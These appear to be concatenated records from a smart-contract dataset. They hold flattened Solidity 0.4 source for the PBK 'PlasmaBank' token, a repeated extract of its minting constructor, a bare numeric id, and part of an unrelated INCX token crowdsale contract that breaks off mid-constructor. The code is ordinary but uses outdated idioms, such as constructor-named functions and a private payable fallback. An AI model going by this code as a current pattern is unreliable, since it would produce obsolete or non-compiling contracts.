newOwner); owner2 = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: zeppelin-solidity/contracts/token/ERC20/TokenTimelock.sol /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { require(now >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } // File: contracts/PBKtoken.sol contract PBKtoken is MintableToken, PausableToken, BurnableToken { string public name = "PlasmaBank token"; string public symbol = "PBK"; uint public decimals = 2; /// @dev whether an address is permitted to perform burn operations. mapping(address => bool) public isBurner; event ReceivedEther(address from, uint256 value); event WithdrewEther(address to, uint256 value); address PlasmaPrivateTokenSale = 0xec0767B180C05B261A23744cCF8EB89b677dFeE1; address PlasmaPreTokenSaleReserve = 0x2910dB084a467131C121626987b3F8b69ebaE82A; address PlasmaTokenSaleReserve = 0x516154A8e9d365dC976f977E6815710b94B8C9f6; address PlasmaReserveForBonus = 0x47e061914750f0Ee7C7675da0D62A59e2bd27dc4; address PlasmaReserveForBounty = 0xdbf81Af07e37ec855653de1dB152E578d847f215; address PlasmaReserveForEarlyBirds = 0x831360b8Dd93692d1A0Bdf7fdE8C037BaB1CE631; address PlasmaTeamOptionsReserveAddress = 0x04D20280B1E870688B7552E14171923215D3411C; address PlasmaFrozenForInstitutionalSales = 0x88bF0Ae762B801943190D1B7D757103BA9Dd6eAb; address PlasmaReserveForAdvisors = 0x6Df994BdCA65f6bdAb66c72cd3fE3666cc183E37; address PlasmaFoundationReserve = 0xF0dbBDb93344Bc679F8f0CffAE187D324917F44b; address PlasmaFrozenForTopManagement = 0x5ed22d37BB1A16a15E9a2dD6F46b9C891164916B; address PlasmaFrozenForTokenSale2020 = 0x67F585f3EB7363E26744aA19E8f217D70e7E0001; function PBKtoken() public { mint(PlasmaPrivateTokenSale, 500000000 * (10 ** decimals)); mint(PlasmaPreTokenSaleReserve, 300000000 * (10 ** decimals)); mint(PlasmaTokenSaleReserve, 3200000000 * (10 ** decimals)); mint(PlasmaReserveForBonus, 100000000 * (10 ** decimals)); mint(PlasmaReserveForBounty, 100000000 * (10 ** decimals)); mint(PlasmaReserveForEarlyBirds, 200000000 * (10 ** decimals)); mint(PlasmaTeamOptionsReserveAddress, 800000000 * (10 ** decimals)); mint(PlasmaFrozenForInstitutionalSales, 500000000 * (10 ** decimals)); mint(PlasmaReserveForAdvisors, 300000000 * (10 ** decimals)); mint(PlasmaFoundationReserve, 1000000000 * (10 ** decimals)); mint(PlasmaFrozenForTopManagement, 1500000000 * (10 ** decimals)); mint(PlasmaFrozenForTokenSale2020, 1500000000 * (10 ** decimals)); assert(totalSupply_ == 10000000000 * (10 ** decimals)); finishMinting(); } function transferTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public returns (TokenTimelock) { TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); transferFrom(msg.sender, timelock, _amount); return timelock; } /** * @dev Grant or remove burn permissions. Only owner can do that! */ function grantBurner(address _burner, bool _value) public onlyOwner { isBurner[_burner] = _value; } /** * @dev Throws if called by any account other than the burner. */ modifier onlyBurner() { require(isBurner[msg.sender]); _; } /** * @dev Burns a specific amount of tokens. * Only an address listed in `isBurner` can do this. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyBurner { super.burn(_value); } // transfer balance to owner function withdrawEther(uint256 amount) public onlyOwner { owner.transfer(amount); WithdrewEther(msg.sender, amount); } // can accept ether function() payable private { ReceivedEther(msg.sender, msg.value); } }
whether an address is permitted to perform burn operations.
function PBKtoken() public { mint(PlasmaPrivateTokenSale, 500000000 * (10 ** decimals)); mint(PlasmaPreTokenSaleReserve, 300000000 * (10 ** decimals)); mint(PlasmaTokenSaleReserve, 3200000000 * (10 ** decimals)); mint(PlasmaReserveForBonus, 100000000 * (10 ** decimals)); mint(PlasmaReserveForBounty, 100000000 * (10 ** decimals)); mint(PlasmaReserveForEarlyBirds, 200000000 * (10 ** decimals)); mint(PlasmaTeamOptionsReserveAddress, 800000000 * (10 ** decimals)); mint(PlasmaFrozenForInstitutionalSales, 500000000 * (10 ** decimals)); mint(PlasmaReserveForAdvisors, 300000000 * (10 ** decimals)); mint(PlasmaFoundationReserve, 1000000000 * (10 ** decimals)); mint(PlasmaFrozenForTopManagement, 1500000000 * (10 ** decimals)); mint(PlasmaFrozenForTokenSale2020, 1500000000 * (10 ** decimals)); assert(totalSupply_ == 10000000000 * (10 ** decimals)); finishMinting(); }
2,032,058
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); event MintResumed(); bool public mintingFinished = false; uint256 public maxSupply; function MintableToken(uint256 _maxSupply) public { require(_maxSupply > 0); maxSupply = _maxSupply; } modifier canMint() { require(!mintingFinished); _; } modifier isWithinLimit(uint256 amount) { require((totalSupply_.add(amount)) <= maxSupply); _; } modifier canNotMint() { require(mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint isWithinLimit(_amount) public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * @dev Function to resume minting new tokens. * @return True if the operation was successful. */ function resumeMinting() onlyOwner canNotMint public returns (bool) { mintingFinished = false; emit MintResumed(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = true; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title INCXToken * @dev This is a standard ERC20 token */ contract INCXToken is BurnableToken, PausableToken, MintableToken { string public constant name = "INCX Coin"; string public constant symbol = "INCX"; uint64 public constant decimals = 18; uint256 public constant maxLimit = 1000000000 * 10**uint(decimals); function INCXToken() public MintableToken(maxLimit) { } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(now >= openingTime && now <= closingTime); _; } /** * @dev Reverts if in crowdsale time range. */ modifier onlyWhileNotOpen { require(now < openingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= now); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } /** * @title WhitelistedCrowdsale * @dev Crowdsale in which only whitelisted users can contribute. */ contract WhitelistedCrowdsale is Crowdsale, Ownable { mapping(address => bool) public whitelist; /** * @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract. */ modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract IndividualCapCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; uint256 public minAmount; uint256 public maxAmount; mapping(address => uint256) public contributions; function IndividualCapCrowdsale(uint256 _minAmount, uint256 _maxAmount) public { require(_minAmount > 0); require(_maxAmount > _minAmount); minAmount = _minAmount; maxAmount = _maxAmount; } /** * @dev Set the minimum amount in wei that can be invested per each purchase * @param _minAmount Minimum Amount of wei to be invested per each purchase */ function setMinAmount(uint256 _minAmount) public onlyOwner { require(_minAmount > 0); require(_minAmount < maxAmount); minAmount = _minAmount; } /** * @dev Set the overall maximum amount in wei that can be invested by user * @param _maxAmount Maximum Amount of wei allowed to be invested by any user */ function setMaxAmount(uint256 _maxAmount) public onlyOwner { require(_maxAmount > 0); require(_maxAmount > minAmount); maxAmount = _maxAmount; } /** * @dev Extend parent behavior requiring purchase to have minimum weiAmount and be within overall maxWeiAmount * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_weiAmount >= minAmount); super._preValidatePurchase(_beneficiary, _weiAmount); require(contributions[_beneficiary].add(_weiAmount) <= maxAmount); } /** * @dev Extend parent behavior to update user contributions * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { super._updatePurchasingState(_beneficiary, _weiAmount); contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount); } } /** * @title INCXCrowdsale * @dev This smart contract administers private sale of incx token. It has following features: * - There is a cap to how much ether can be raised * - There is a time limit in which the tokens can be bought * - Only whitelisted ethereum addresses can contribute (to enforce KYC) * - There is a minimum ether limit on individual contribution per transaction * - There is a maximum ether limit on total individual contribution */ contract INCXCrowdsale is CappedCrowdsale, FinalizableCrowdsale, WhitelistedCrowdsale, IndividualCapCrowdsale, MintedCrowdsale { event Refund(address indexed purchaser, uint256 tokens, uint256 weiReturned); event TokensReturned(address indexed owner, uint256 tokens); event EtherDepositedForRefund(address indexed sender,uint256 weiDeposited); event EtherWithdrawn(address indexed wallet,uint256 weiWithdrawn); // Duration for the early bird discount, starts from the opening time. uint256 public earlyBirdDuration; // Constants used for calculation of bonus uint64 public constant decimals = 18; uint256 public constant oneHundredThousand = 100000 * 10**uint(decimals); uint256 public constant fiveHundredThousand = 500000 * 10**uint(decimals); uint256 public constant oneMillion = 1000000 * 10**uint(decimals); uint256 public constant twoMillionFourHundredThousand = 2400000 * 10**uint(decimals); uint256 public constant threeMillionTwoHundredThousand = 3200000 * 10**uint(decimals); function INCXCrowdsale(uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, uint256 _cap, INCXToken _token, uint256 _minAmount, uint256 _maxAmount, uint256 _earlyBirdDuration) public Crowdsale(_rate, 